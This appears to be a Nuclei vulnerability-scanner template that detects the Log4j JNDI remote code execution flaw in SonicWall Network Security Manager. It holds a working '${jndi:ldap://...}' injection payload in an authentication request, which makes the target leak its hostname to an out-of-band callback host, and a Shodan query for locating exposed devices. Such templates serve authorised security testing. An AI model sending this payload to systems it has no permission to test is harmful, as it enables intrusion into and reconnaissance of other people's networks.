id: sonicwall-nsm-log4j-rce info: name: Sonicwall NSM - Remote Code Execution (Apache Log4j) author: shaikhyaser severity: critical description: | Sonicwall NSM is susceptible to Log4j JNDI remote code execution. SonicWall Network Security Manager (NSM) allows you to centrally orchestrate all firewall operations error-free, see and manage threats and risks across your firewall ecosystem from one place, and stay connected and compliant. reference: - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-77 metadata: shodan-query: title:"SonicWall Network Security" max-request: 1 tags: cve,cve2021,rce,jndi,log4j,sonicwall,oast,kev variables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' str: "{{rand_base(5)}}" http: - raw: - | POST /api/sonicos/auth HTTP/1.1 Host: {{Hostname}} X-Snwl-Timer: no-reset Authorization: Digest username="${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/}", realm="admin-users@x.x.x.x", uri="/api/sonicos/auth", algorithm=SHA-256 Content-Type: application/json Accept: application/json, text/plain, / X-Snwl-Api-Scope: extended Origin: {{RootURL}} Referer: {{RootURL}} {"override":false,"snwl":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}"} matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output part: interactsh_request - type: regex group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output part: interactsh_request # digest: 4a0a00473045022100b0050dfce09ac4446dd4b5833eb5fc226ca52a683fc1dc58a9e0a2da8b7ddbb8022042a0fc74fa09237dd3fbf1c6eb88995338691df0d2d023e9e9e08cdd275ddca0:922c64590222798bb761d5b6d8e72950